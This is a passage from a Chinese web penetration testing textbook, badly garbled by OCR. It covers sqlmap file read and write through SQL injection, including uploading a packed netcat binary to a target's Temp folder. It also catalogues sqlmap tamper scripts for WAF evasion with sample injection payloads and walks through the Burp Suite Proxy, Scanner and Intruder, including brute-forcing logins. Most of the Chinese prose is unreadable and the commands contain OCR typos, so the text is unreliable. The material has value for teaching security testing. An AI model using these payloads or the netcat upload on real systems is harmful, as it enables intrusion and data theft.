$ python sqglmap.py -u

"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
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[+s]

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000

web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:5@] [INFO] fetching file: 'C:/example.exe'’

[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[ssal

$ 1s -1 output/192.168.136.129/files/C__example.exe

-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm
output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI)
Intel

80386 32-bit

8. --file-write --file-dest: AN RIKIBERZRD

ZmAHTEANAR X BIRS S+, 28 EHIMySQL . PostgreSQL BL
Microsoft SQL Server, 3 H. 2580 7 A AR A8 A4 € B R B, _EA% A9 ST AT BLR 3T
A, WA RAR Z I SO T T BA— M MySQLF | F 8 =] --file-write --file-destZ$( ]
M.

$ file /software/nc.exe.packed

/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ 1s -1 /software/nc.exe.packed

-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqglmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1"
--file-write \

"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]

[hh:mm:29] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003 or 2008

web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727

back-end DBMS: MySQL &gt;= 5.0.0

Lesa]

do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe’ has been successfully
written on the back-end DBMS file system? [Y/n] y

LRl &

R
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[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed’

3.1.4 SQLMap B w&idHIA tamper B %

SQLMap7EERINE L T Bk 713 I CHARQ B H By 1k BB 51 5, A N L
AT, 3388 7] LAfE H --tamper 2 ¥ Bl B OR S8 1 WAFSF 0%, H K
043 AR 2 Y I O A R B 6 Tk B A - 1 A B 1 7 R =i SR WAF RO A AR
AT TR o
sqlmap.py XXXXX --tamper "fbisg"

HulE 7 fets3 gt 4, T2 —Mamperfii A1k s

# sqlmap/tamper/escapequotes.py

from lib.core.enums import PRIORITY
__priority_ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace("'", "\\'").replace('""', "\\"")

AHEFRH, — B/ tamper il A< 45 ¥4 Apriority 28 & & X fldependencies. tamper

o priority & HIA KIS %, HTH Z A tamper A I L.

e dependenciesifi £ 75 HZ I A& F/ANE TG L AT BAAZS .

T — AN KRE F ot M A %], tamperSeid i 4 3 Hdependencies Al
tamper P8 > R EUF ). . def tamper (payload,**kwargs) iR %3 playload F1**kwargs
iR [A] —ANPayload. T IHIIX BoARHD i) & B2 18 1E W IS RE AT B 247, ¥ Bl BUah 2
EH NS Y PNCE RSN

def tamper(payload, **kwargs):
retVal = payload

S T b a5 3 2 2 A
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if payload:
for match in re.finditer(r"[A-Za-z_]+", retval):
word = match.group()
if word.upper() in kb.keywords:
retVal = retVal.replace(word, word.upper())
return retval

FEHEMERAT, RIH— MR EE LY (WAF/IDS/IPS) #EATiIR,
A] LA F 2 3 --identify-wafi#E A7 1

N — L F i tamper I A .

®  apostrophemask.py

ER: ¥5| 58 AUTF-8, HTdIEH55.

s IRV AS BT RO TE F) 9 :
1 AND '1'="1

ERMEARE, ERA:

1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

®  base64encode.py
EF: & Nbase64ihis.

15 FH VA R FTE B) N -
1' AND SLEEP(5)#
ERMAE, ERRN:

MScgQUSEIFNMRUVQKDUp Tw==

e multiplespaces.py

fEH: HZESQLKRBE FIRIMZ N2 .
fit FH B AT 15 20«
1 UNION SELECT foobar

fEMMAE, ER:

1 UNION SELECT  foobar

®  space2plus.py

SO AR b P R B AE AL 4 I
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fEH: A+SB#THE.
i FA A BT R 1B F) A
SELECT id FROM users

ERMARE, E6AN:

SELECT+id+FROM+users

®  nonrecursivereplacement.py

EH: ERNEEMIER), ANEIEAERTE XHSQLAET GEFATIEE
B E G ERS, Bl SELECTE # s ).

5 FA RV A T O35 )
1 UNION SELECT 2--
ERMAE, ERA:

1 UNIOUNIONN SELESELECTCT 2--

®  space2randomblank.py

TEM: BB HAHMERTFR.
5 F RS BT A5 ) A

SELECT id FROM users

EAMAE, HEA:

SELECT%@Did%@ODFROM%0Ausers

®  unionalltounion.py
YER: ¥ UNION ALL SELECT# #:JUNION SELECT.
8 FH RV A /I (095 ) A -
-1 UNION ALL SELECT
HHREAE, EaN:

-1 UNION SELECT

e  securesphere.py

TER: IBINRFR ) 75 5

SO AR b P R B AE AL 4 I
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i F REVAS T O35 008

1 AND 1=1

EHMAE, EAAN:

1 AND 1=1 and '@having'='@Ghaving'

e  space2hash.py
TEF: BEREBHEAHS, FHHRIM—ABENLFRF R RBATR
s F A AS /T 1035 A0 A9 -

1 AND 9227=9227

EHMAE, EN:

1%23nVNaVoPYeva%@AAND%23ngNvzqu%@A9227=9227

®  space2mssqlblank.py(mssql)
TEM: BERBHARMERT.
8 F B A AT HE R 9 -

SELECT id FROM users

ERMAE, ERA:

SELECT%@Eid%@DFROM%@7users

e  space2mssqlhash.py
ER: BEREBHEIWHS, HEM—MBITH .
A5 P BAIA /T 3B A0 07 :

1 AND 9227=9227

ERMAE, ERN:

1%23%0AAND%23%0A9227=9227

®  between.py

fEFH: HINOT BETWEEN 0 AND## KF5 (>), FIBETWEEN AND##i% 5
(=D

st FH RV A AT O35 20 0

AP T a3 2 2 A
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1 AND A > B--

FRBAR, EHA:

1 AND A NOT BETWEEN @ AND B--
fiE A BT B 1R £ :

1 AND A = B--

ERRARE, E0R8:

1 AND A BETWEEN B AND B--

¢  percentage.py

fEH: ASPRVFERNFRRHAN—1%5 .
15 FH B A BT B3 0

SELECT FIELD FROM TABLE

ERMASE, EERN:

BSHEHLIEHRCHTHFBIHERL%D%F %R%0%MA%T %A% B*L%E

®  sp_password.py
fEF: MDBMS H & 1) B shH 40 3 175 R H 18 Nsp_password.

{5k FH R A 1T 75 50
1 AND 9227=9227--
EAMARE, BEA:

1 AND 9227=9227-- sp_password

e charencode.py

fEF: Xt4 € MPayload & Ml FAFE FHURLA IS (MALEE B A AT F45).
s FH I A BT A0 15 5] A

SELECT FIELD FROM%2@TABLE

EHMARE, &EAAN:

%5 3%45%4C%A5%43%54%20%A6%A9%AS%ACKHAA%20%A6%5 2%AT%Ad%20%54%ALK%A2%ACKAS

e randomcase.py

fEM: BENLRANE.

AP R i 3
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55 PR RV AS T RO 0
INSERT
ERAMAE, B
InsERt

®  charunicodeencode.py
fER: FFF#unicodeit .
8 FH R AS 1T T8 0 9 -

SELECT FIELD%20FROM TABLE

ERAAE, HHN:

%u0053%ub045%u004c%ud045%ud043%ud054%u0020%ud046%u0049%u0045%uU004C%UB044%u0020
%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004C%u0045

®  space2comment.py
TER: KRB HRN/ .
s FH BAIAS 1T (35 =) 4«

SELECT id FROM users

EAMAE, ERA:

SELECT/**/id/**/FROM/**/users

e equaltolike.py
fEM: #5555 & Hohlike.
{58 FBIAS I (035 509 -

SELECT * FROM users WHERE id=1

AR, ERD9:

SELECT * FROM users WHERE id LIKE 1

@ greatest.py
fEM: gedxt “>” idyE, FGREATESTE#: KT 5.

5k FH RS T )35 ) 0

1 AND A > B

AP R b i 5
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EHAMARE, EAA:
1 AND GREATEST(A,B+1)=A
T T AR P R R AR A«
¢  MySQL 4. MySQL 5.0f1MySQL 5.5
®  Oracle 10g
®  PostgreSQL 8.3, PostgreSQL 8.4F1PostgreSQL 9.0

e ifnull2ifisnull.py
YEF: St XIIFNULLA 38, #H#IUIFNULL(A, B)ANIF(ISNULL(A), B, A).

it FH A /T 1035 5] A9
IFNULL(1, 2)
ERAMAESE, EEA:
IF(ISNULL(1),2,1)
T3 ) ehE P R B AR A UMy SQL 5.0F1MySQL 5.5
®  modsecurityversioned.py
fER: IR, ERAMySQLABER 7 BATIEN
i A BT 95 2] A9
1 AND 2>1--
ERMARE, EA:
1 /*130874AND 2>1%/--
TRoE T B BE R B AR A AMySQL 5.0,
e  space2mysqlblank.py
1EH: BERBHRARMZARFS CEHTMySQL).
i FAA T HIIE SN
SELECT id FROM users

ERMAE, E7A:

SELECT%A@id%@BFROM%@Cusers

AR R b i RS e 2 I
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ME I Y B4 PR S B AR A 9MySQL 5.1

e modsecurityzeroversioned.py

TEM: (EAMySQLABRIEREMTT (/*100000%/) HATIEA
8 F A BT B9TE F0 9«

1 AND 2>1--

ERMAE, EHAN:

1 /*100000AND 2>1%*/--

i ) B e 2R B AR A< 29MySQL 5.0
e  space2mysqldash.py

fER: BEREBEHN--, FHFRIM— BT
it P REVAS T O35 009

1 AND 9227=9227

HRMASE, EHA:

1--%@AAND--%0BA9227=9227

®  bluecoat.py
{ER: 7ESQLIBAIZE A MMMEIE A BT, M/EAHLIKERHRSET

5 P BAIA BT BB ED N :

SELECT id FROM users where id = 1

ERMAE, ERA:

SELECT%@9id FROM%@9users WHERE%@9id LIKE 1

TAaRE I BB R SS BY RN AR A< AMySQL 5.1 F1SGOS .
e  versionedkeywords.py

fEM: ERSE.

5 P B AS BT RO B0 :

UNION ALL SELECT NULL, NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_
USER() AS CHAR),CHAR(32)),CH/**/AR(58,108,114, 117,58))#

ASPEAE i b FE a5 g 2 20 A6 D
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ERMEAE, EA:

/*UNTION** I ALL** I SELECT** INULL*/, /* INULL*/, CONCAT(CHAR(58,104,116,116,58),
TFNULL (CAST(CURRENT_USER()/*!AS**ICHAR*/),CHAR(32)),CHAR(58,100,114,117,58) )#

®  halfversionedmorekeywords.py

TER: Z%dE ZE AMySQLIN S8 Bl K 8, FERA BT Z BT INMy SQL AR A
o

i F A BT HIE R 9 :

value' UNION ALL SELECT CONCAT(CHAR(58,167,112,113,58), IFNULL(CAST
(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND
'QDWa'="QDWa

ARG, EA:

value'/*1@UNION/*!@ALL/*1@SELECT/*1@CONCAT(/*!OCHAR(58,107,112,113,58), /*0IFN
ULL(CAST(/*!@CURRENT_USER()/*!@AS/*!@CHAR), /*!0CHAR(32)),/*!0CHAR(58,97,110,121,5
8)),/*18NULL, /*!@NULL#/*!0AND 'QDWa'='QDWa

Mad I )£ 22 2R B AN A 9MySQL 4.0.18 F1IMySQL 5.0.22.
®  space2morehash.py
fEM: RERBEI 4T, FRIN—ABENLF5F B FBRATR .
fi FI I A BT HO1E 509 :
1 AND 9227=9227
EHMAE, ERA:
1%23ngNvzqu%@AAND%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227
MR I 1 B 28 R Rl A UMy SQL 5.1.41.
@  apostrophenullencode.py

fER: FHEENF T unicode FRF & #8255

it FH RV A T R3E 20 2
1 AND '1'='1

ERMAE, EN:

1 AND %00%271%00%27=%00%271

ASPEAE i b FE a5 g 2 20 A6 D
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e appendnullbyte.py
TEF: FEABSAR NG R BEMREFL M.
8 A BT RIE AN :

1 AND 1=1

ERMAE, ER:

1 AND 1=1%00

®  chardoubleencode.py
fEF: Xt45 52 Payload & A Fl WEURLSw Y (A abH CLmILHFR).
5 P BLAS R A TE R0 9 -

SELECT FIELD FROM%2@TABLE

EREAE, ERAN:

%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%25
4F%254d%2520%2554%2541%2542%254C%2545

®  unmagicquotes.py

fEM: A—N2FNHE (%bf%27) FREBEAERE-EBERTHK.
5t FA RV T O35 2009

1' AND 1=1

EHMAE, EN:

1%bf%27--

e randomcomments.py

YER: F/**/143 EISQLIHEF .
1 FH RIS B R R) N

INSERT

EHMAE, EN:

IN/**/S/**/ERT

B SRSQLMap H i Htamper 7] LA IR £ H1E, (HIELFEMTEF, FHEHKERS,
AIRESIBRIR Z1H 0, tamper/NE] REIR £ THI MBI & FPEAEE, Fr A UGERE RS



ACHEAR M i sl i 2] R

50 B WebZAA: HEnXEKRIES

AT A B i tamper (RN, 547 BE 98 E 4R tamper 0 4n S RN, IXFELE RN & Fi 5%
REERT A BERE B .

3.2 Burp Suite £ #

3.2.1 Burp Suite &%

Burp Suites2 —KERMHIEENRX TR, B8 TIRZ IR, TUFEBENTEL
Hh 58 B Web S FAE 7 (12 & A A B

Burp SuitefHJavaifi & 95, T JavaH S 1S &M, FXHEMFZEIFEHRE
FRETE. Burp Suite MEHAMBAZUIMRKTE, EREFIHRE LS5, fk—
LHHUREE, REA TR TE.

Burp Suite ] #14THEFF R Java XK B Hjar SO, RBMATUMNE M T . Hok
FiR I Burp Suite2xH V1 % BRI, ToiEE AR 2wk TR, WA FEHEL e HIhEE,
TEMRMLE AR TR S R EZEX AT =4

@  Burp Scanner,

o TAETEERFFIVKE

o BT H, fNTarget Analyzer. Content DiscoveryflTask Scheduler.

Burp Suitejfe fJavaifi 5 7T &K1, BATHAKHUIRE, 72 %3 lava?f 557 1] UIEAT .
HBE#ZRIDK, EH2REARE TR, THZEARERE “ T35 KM#T
73 (ZRBETLE CESREE RARASR . IR THETERE, T omd,
Ajava -versioni#{TEE, HRFEIRAEEN DL EMHEZE, WE3-18FR.

\Jsers\trust>java —version

ion. *1.8.8.112*
SE Runtime Environment (bhuild 1.8.8_112-h15)
a HotSpotdIM) Client UM <(build 25.112-b15, mixed mode, sharing)

E3-18 BEMAER
ETREENGEEE, AF HEH, HFEEL “BE” -~ “BRRAGERE”

— “RETR”, AEHERGTE, EHHERN “LEAZ” LFAN “JAVA_HOME”,
1E “ApEAH” A NTDK [ 2235 B 4%, I “C:\Program Files (x86)\Java\jdk1.8.0 1127,
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RIG T “Fie” .

YRGB E” FRIPATHL &, £ “FEHE” WEMEMNLE “%IAVA_
HOME%\bin;”, SAJEHdE “HhiE” %4Hl.

# “RGAE” PIRBICLASSPATHEA &, HEAFENFREXNZE, £ “RE
H” B&saimEmn L “ . ;%IAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\toolsjar; 7, #&
JE T “HRE” T

$T7Femd, #HilAjavac, FIREIFEIEE, WE3-190TR, WHCKEMRLE T
RAE.

{source fil

ginone

lines,.vars,source’r

novarn

E3-19 #iAjavac
TEIF I Burp A% %, BN BurpLoader.jar U B AT IZ AT, WE3-20F17R .

= o

E3-20 3iE{TBurp

3.2.2 Burp Suite Al
Burp SuitefUFE T E 2 U#E RN, HEFadREMNERE, mE
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> WebZAHBr: SEMKEKIED

P BVE SR EE . IR 5% 2% i AR (8115 B4 . Burp Suite 3= B HTTPAIHTTPS HH Y
Mg, WA, Burp Suitelh R A B XX 2 U (E R EHE . AR S5 3 3R [B145
BE s, DUAR| 24N 8.

EHE TS, & FAIWebZs P il & Webil W28, AT U % B RS
B, EEWebR WA E, HX 4T Burp SuitefCH i B AR 34T 4 FE . Burp Suite
12175, Burp ProxyBRAA< B i 198080, W1E3-21F77~.

[[itercept | #r7p isory | websockets nstory [ ptons.|
@ Proxy Listeners
@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You wil need to configure your browser to use one of the listeners as #s proxy server.
[ ads | [Runng | mtertace | vistle | Redrect | Certificate |
— @ 127.0.0.1:3080 g Per-host
ey ;
ST |
(LFeaore | I
|
|
|

Each installation of Burp generates &s own CA certificate that Proxy ksteners can use when negotiating SSL connections. You can import or export this certificate for use in other tools or another
instaliation of Burp.

([ import/ export CA certifcate | [ Regenerate CA certificate |

E3-21 BEFRRANKEIRO

X B DAFirefox M W25 A6, HHMEaA LA TR, Riksd “ikm”
- CEM > “WERE” - “RKE” -~ “FIHRERE”, wE3-2fTR, HEHTTP
REE4127.0.0.1, %7148080, SBurp ProxyH HIfLHE—F.

®) =JWERE: (M)

HTTP (38 : (9| 127.001 |wo: @ sos0 2 |
HFEERERRS) 2
SSL i : #0: © o= |8

ETP {838 : %0 : R ol
SOCKS 4. : | w0 : O o= |
SOCKSv4 (@ SOCKS v5 i
FEBRIE : (V) |

{Hﬁﬁ :V.mozlna.org, .netnz, 192.168.1.0/24

SHREER (PAC) : =

ESS e W (H)

E3-22 RENEHHKERER
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1. Proxy
Burp Proxy/&F|HBurp F EBMNR MM Z O, B AAHEE, 7T RUEFRATE#L
BE. BSTE R -5 RS i 2 (84 i 0 B o
Burp Proxy #8412 8 = 2 tH InterceptiE B~ H ffJForward. Drop. Interception is
on/offFll Actiont i, "ENIHIZIREM T Fi7R .
*  Forward R~ #4284 i 8048 GBS U I BUE B R 0E 2 IR 55 38 3
*  DropFEF HRTEBIEHE .
* Interception is onR/R~FF /B £ INAE, #7578 Ninterception is off, FTRK
AEEIIRE -

e miiActiont&ill, T LK EHE I — P K% F|Spider. Scanner. Repeater.
Intruder$ DI B 2H (- st — 25 B9, (R 60 2 SO s 1 sk O =K A
body H w55 T RE .
FIFRERE, BT E V) 0 FURLH 1% E 248, X E 2R R B2 Burp
Proxy F 8%, BHE|HdiForwardf%sll, A o4k E4m %, R HE T T Dropted, X
JOB ARG E R, AR E,
Y Burp Suite?= 8 1% S i AR 28 28 B2 J5, A TR LAFEBurp Suiteff17H &7 4T
I EFEXIKIERAELANE. HEK. BERSHEEE. Bupf NFHEEHRE
BR#PEE: Raw. Params. HeadersfllHex.
e  RawFEB/RWebiE R Frawig s, A ARME AR REECD, B8R
bk, HTTPHRUURAS . FEMLk. HEHHEE . Accept I Z H A KA,
TR HwiTT. cookieds, FJLLEE FINMEHIXLAZE, N IRS 28 hm it
ITBFENR .

°  ParamsEEERE M IIERWSHUEE, BIHEGETHEPOSTIE KIS 4.
cookieZ %l . AJ L@ X 215 3R 858 ik ARk 55 25 i V2 3% W

°  HeadersH BRI R EIEOHILELR, DAK, HARNELRREIEE.

*  HexX MK ZRaw {5 B8 — i W2, 7T LLdid Hexdm 8 28 X1 SR I &
BHTAEER, FEBHTOORMIRT SRR A, W EI3-237R.
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—
e ) () O s ] |
e e Send to Spder
."' wew baidn com Send to Intruder Gl
Vser-dgent: Noxi11a/5 0 (Rindows 57 6.1: WOMG(; rv/|  SendloRepester cuR
hcent: text/hin,
Accet-Lantmage: TR 3hie=0. 6. e 60, 3. en: @50,
Retorer: ‘Send to Comparer
[httpz://wee sotou. con/stolquery=wwn baidu conthdezd ‘Send to Decoder 181 "1, 10
181 rogzwwet 1K= 081 exut 3 =
[cooke: B_urMeiaa1ean2: _ o:
»
= i PSTREL197(06693; JLPS_PSSIDE1 (00, 21002_17001_23073:
HPs_6455Cs] ESTSaL: BD_CK_SAN=L: PSTNOS3: 30 WOKEs); sue=d:

sugstore=t: ORIGINZO; bdimez0 Changs body encodng.
[Comnection: elose Copy URL
Upers de-Insecure-Reguests: 1
[cache—control . max-atest Ty ax S Lot

Copyto fie

Pasie from i

Save tem

Dont intercept requests »

Do htercept »

Convert ackcton >

URL-encode 89 you type

c CrbeX

Copy Cuiec

Paste. cuy
BEEE | —— ) oo

E3-23 ProxyHIAE
2. Spider

SpiderfJ¥IERIET ThRE PT LA BIIRA T MR R Gi 94544, F = Spider e 2 A A
R Target T RRIR, WE3-24F77R, FEAMN—AEHMEFH, EHELEE—A
ﬁiﬁﬂﬁfﬁﬁﬁﬁ\i&ﬁ%ﬁ?'ﬁﬂﬁfﬁo

mmmwu,m&mnmmm Iusing 4xx responses; hiding empty fokders @

monooono‘n‘a‘

» 05 kedow | User-Agent: Mozill1a/5.0 (Windows NT 6.1; WOWG1: rv:19.0) Gecko/20100101
Dset || Firefox/19.0

D shi cept: text/htal, application/xhtnl+xal, application/xnl:q=0.9, +/+;q=0.8

3 1 ERYIKRZ2 2L VR B VIRz enZFLUeeQOp 1QVFQUFBTCUAMA }
» [ operaton il AL f

...... AAAAAAA

tH-1eLR™tXaE:
D renwu ! A2C18CF2BC

scince | nA Psmnuu 72: 1

E3-24 Spider®mE
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3. Decoder

Decoderf{IZhBE LT 8, "B R Burpt B it (%D AERS LSS T A, fExy
JRAGHARE HEAT - Fh g % AN (e e

Decoderft] 57T @1 E3-25F 7~ » I ANIRE /R 1 /E 75 B mtD/ MRS I IR aA 40, thid
A A EEE S NS, B LU A Burp T A N CE# A+ “Send to Decoder”
WTURIET R ISR R RS A R A B R AT RS/ MR S R . TR
a0 NI R I SR SO R HexalX P A% 20, b ARl 14 T3 EH A B8 T (Decode
as). ZmA%iETN (Encode as). #(% (Hash) #fk. 7ELFRERET, A MRIEZRIFH
BT RE
:IT.MIM!%'!W!mlmlwmwlmlmmfumlmj

SRR

| o ove @
TN \ Decode as .

[E3-25 DecodertyA @

SR MRS IE TN S, B RISZFFURL. HTML. Base64. ASCII. 75kl )\
Bl Zm AGZIPFHE )\ Fh T XA #& N #, HashB 5| X #FSHA. SHA-224,
SHA-256. SHA-384. SHA-512. MD2. MD5#&HIH#H. FEEMNZ, TR
¥, BAI] LAFEDecoder AT 2 IR gAY MRID R4 .

3.2.3 Burp Suite #H

3.2.3.1 Scanner

Burp Scanner¥ T H il Web R G (1 & FPIF . 42/N45/4Burp Scanner
MEAMEHTE, ELREAFTRSEHIEE, EXERWT,
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P Webihk . HEnRERES

B4, #iABurp SuitelE % J5 31 5E N W AR ER WAL B . 2R 5 3#E A Burp Proxy,
KAREEZRIIGE, PRoE 7 E SRR EURLE S, W EEBRAE LT, Burp
Scanner& AR BRI ARS G K, HXTE R BT 90T kPR 2 BAE RS
IR . T H X4FRATHT FFBurp Targethy, 4780k &M B A BIR1E SR FJURLH .

TATBEEE R — A MG AT, e Burp Target Hsl s EHE T T (O%ERE, fEH
FEEFURL EATHIESE “Actively scan this host”, LR < IS IR E, REFERIAIEIR
B AT AN, W E3-26 77

"B Burp Suite Professional v1.7.11 - Temporary Project - icensed to Larry Lau . ; w

| Burp htruder Repester Window Hep i
M’ Proxy IWTS«M« Intruder l MTWWTM WTMIMM Iuwmrm
=
Fiter: Hiding not found kems; hiding CSS, image and general binary content. hiding 4xx responses; hiding empty folders
> [l ipiidownksd macromedacom m'wﬂi ( Issues
» {f nttpirgo microsoft com e i o =
» hﬂ: waw macromeda com s 1 {uRL I " | MW l q
GET Icorporate_a sspidet 200 12811 HTML ; | i Cross-doman Referer eake
S ',.h’ oy GET ' a T\ | i Framesble response (poten
» fpsitwerw. w3 = B e ¥ Pith-rakiive sty sheet iy
a HTmL "1 ; HTML uses unrecognized ¢
o P, (
@
a
o FE—
e
Copy URLS in this host m—"u‘ ]
Copy inks in this host
it Ce_adasp mnu 1
Save selected tems mb d group. con
Issues »
e R - o houage: en N\ B —
e P L close - Unencrypted ¢
=S PO TN e L Win N 0 || Severty: Low
Ste map help | Confidence: Certain
1 I Host hitpiveww.su
| Patn: i

E3-26 #EFHEHE

7] PLZEProxy FHIHTTP history™, JEFFAT A _EMFEBURLIFA % Do
an active scani# /T, WE3-27F7R.

IXHf, Burp Scanner F 44434, 7EScanner Ftifil N X B I & B F 545 3, 4n&]3-28
Fi7me
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ool MEth e BURL S - i e e

http://www.sunbridgegroup.comicorporate_a.asp?id=4
Remove from scope
Spider from here.

||GET /corporate_a.asp?
 {Host: www.sunbridgegrs
K/54.0

{4 Copy as curl command
{ Copylinks

Save tem

Proxy history help

E3-28 ZELWER
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BAT AT AFE LS R bl o R B AT TS S, R 3% Blrepeaterfiith o
BEATHRAR AT FIGAE, anE3-29F7R .

o0

asd ¥

wers goeRes

< 3
San ey I w

E3-29 % i%ZFrepeateriiih

YscannerfI M 5ERE, A LAA SiBurp Targetdih £ BB T F ek s:, K KER
“issues” — “Report issues” ET, A5 FHIFHAHRSE, WE3-30f15.

[st0men | scse |

Flter. Midng not found tems; hiding CSS, mage and general binary content, hiding 4xx responses; hiding empty folders.

> 7 hipidowniosd mecromee com { Contents
» [F hitpiigo microsoft com

o —————————

L § . ]

¥ D bEpiwrwer Sundrdgegroup. com , = =

mm
[&Y ‘

E3-30 JHiREHRE
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RGBT AR 55 CAhtm U8 R, S5 R anBI3-31 57,

< C’ ,(P file: .{//C./(ool /1mm|

Burp Scanner Report [%]BURP

Summary

The tabe below shaus the numbers of iswues ertifed in dfferent categones sswes are clasiied accoxding o sevety as Hioh, Wedum. Low o nformation
This reflects the likely impact of each issue for a typical organization Issues are also classified according 1o confidence as Certain, Firm or Tentative. This reflects
the inherent reliability of the technique that was used 10 identify the issue.

Confidence
Certain Fim Tentative Totai.
S| I
o R
o

=

The chart below low shows the aggregated numbers of issues identified in each category. Solid colored bars represent issues with a confidence level of Certain, and the
he confidence level falis

Number of issues
|o 1 2 3 4

Severity

b3

E3-31 LR

BT DA R B BIRATT AT A2 3 B Burp Scanner = B A F ARSI R
AT R

1. Ex$#E (Active Scanning)

2 E SRR, Burp2s [ N &% #1918 3K 378 id Payload 3 E IR VA -
KPR T RRESERERERNNELE, BEEERSIRKELE, &% H
FIREFRHEE. FhHEMER T U T XTI,

o EPURHIIRIA, XSS, HTTPLEAN. BIEEEM.

o MR, WSQLIEN. M ITIEN. XHET .

Xt 58— KW, BurpfEARMIA &R 3% inputi, 4R 548 B 2& IR 317 4T .
RS FEF, Burp XA HIE KRG BT B, RIARYEIRIA MR AEXT S 80k1T
B, BMAMAT R, DU B8 X8 28R, BLSQLIEA N, R
%A °] BRIR B EUE R R IR E, AR A HMA RS . BurpE R+
%%ﬁié/\ﬁﬂ&iﬁiﬁiﬂmﬁﬁ& Bl S AEEIR . GEFIE M Booleanft . 54
R 45 kAT LU, AR R S R .
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2. #¥&hi3HE (Passive Scanning)

BE AR AR, Bup N2 EFHKEFNER, RENEEFEMNER
FNRIZREAT 5347, X BRSS- U FEOAS I SR 3, X bt 24, TR EH TSRS A .
—RR U, T HIIRIRER SR T & 5 A R

o IRTMIERG AN IS .

o A& cookieHI @M, HianEk/>HetpOnly % 45

®  cookief)VERE B

o PEIACE A FILE 5] T .

o REBEBAZNER, LHREZE

°  SSLERFHIABZELF.

e HXJFIE.

o RXFEMEMNEER.

e session® AL

o HURMEREMEE, FlnpyEpHhil. BFARAEAE . HERRBRERS(E B AR .

° R4 [ViewStatefIi B .

°  FHRECAHLE R Content-Typefd 4 o

BAESAMEAEL EEXFREARL, EHENEEEEZHERNFELELH
Pore BR T XS ARG Im R I b B 2 4, MMl & 5 s R B IR E 2 R L 4535
ST EI DI RERT, AT AMS A B A A I e R AR EIRIRE, DAY U KU o

3.2.3.2 Intruder
Intruder/@2— M ERIME R EM T R, 7T ST Web FHFEF#1T B shib M,
WHEE AR RS P & IDAIIK - S58, SO, SQLIEAN, B, B R4,

‘B TAE R & Intruder7E JRIGTE R EHE O HA £, BT B EFIERSEERE
ARFIERNE . EF—RIERF, Intruderil & & — DN ZANE T A
(Payload), TEAN[RIMIALE BT B B, i8I R2 08 i B X 73 17 3R 15 75 2 AR AE
$49% . Burp Intruderifl % 4% N A T UL T 5% .

o WRIRFIHZE. WebNABFLEMRAMRTFSIAA, . KF . BoS8dE
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BR. B, AF4%. XDk~ S5,
o RECAAMEE. XLy T, AW BEHMIREIEBPRRT, MRl
fE AR IR AT AR AR . B, @i P AN N2 [RIIDSREL T & F P A
HANZ R4 FRER
o FERIINR. RZMARIRIN CAISQLIEAN L b A BIA AN SO BE 4238 77 )
AT LGB S R SHAR T S PR F R 8, FEo iRy B E A R ¥ o,
Xt BT R . SZRRF R AR NS &0, FehuTixp
MR —ANFER BB IS F2, K n] LA B Payload, i@idBurp Intruder
B AL X Web S 2 7 34T A I
I TP 56 7 ) FH Intruden 5B 2 A5 I 56 11E A AR 0 B R 6] B 0 ek B 5 3k, T [13-32
Fin, REBMARAGBERRATER, SEAEEHLHTHMIEERLR. fiRERE
A B, FRATHE R I B i E3-33 T n . T EVER IR, Burp Suiteff)3C
HEAREBAEF CHERE T .

E3-32 IREERIuL
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E=23 BME8 i) pdi
i cmder1.3.2_full 2017/2/20 F&F2.... i
Ji nmap 2017/6/5 T4F6:56 i
o L php 2017/6/5 T46:36 Xk
& rolan2 2017/6/4 F&12:... ik
i Tor Browser : 2017/6/13 F&3:.. it
£) Lhtml / 2017/6/26 T4l HTML 3% :

[} password.txt 2012/6/20 k5F1.. XA 11

(B

3
Mac' (Z:
E3-33 Fa
BB EHE B R %R intruderfi R, fNEI3-34FT7R.

Cookie unm!w:»wm-rc:mluou
Connection: close

adsin=1 .x=68k

E3-34 MBEZEEintruderiEik
Burp B3I R ESHH TG, XBEEERFIERC, WE3-35x.
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@ Payload Posiions

assvorar§ifs Ibentnt or x~FRENCIbeninc or = JE0E

E3-35 JBRRHRIE

RIEIEFERTRNIVBNSEE, BpassSHukh, B “Adds” %4, XH
RX—ANSEOAT 0%, P A28 BUE F sniper B 7], a0fE3-36Fm. X BE
FEREE, WRERNXHP 2MELFATHRA, 7 CAER %P userfllpassZ 8, I
Hi%FR X cluster bombi X 4T 7 SRR .

*  Sniperf A M #—HPayload4H . B 24X 4/ M & 154 B Payload. XFlIL

T RAE A X5 IR 0015 K S EER M AT Fuzzing R & 5. Tk
HFHIE SR BB 1% 2 position ] & AT Payload £ & 1131 .

*  Battering ramf&E [ H #—fPayload4l. 'E % & E PayloadH—IKMEIETE
AH[E ) Payload I F6 B I B . X FITIE T/ EEIERFPIEHERK
WMABE Z ML BRI R . E RIS EZ Payload H Payload i 5 3

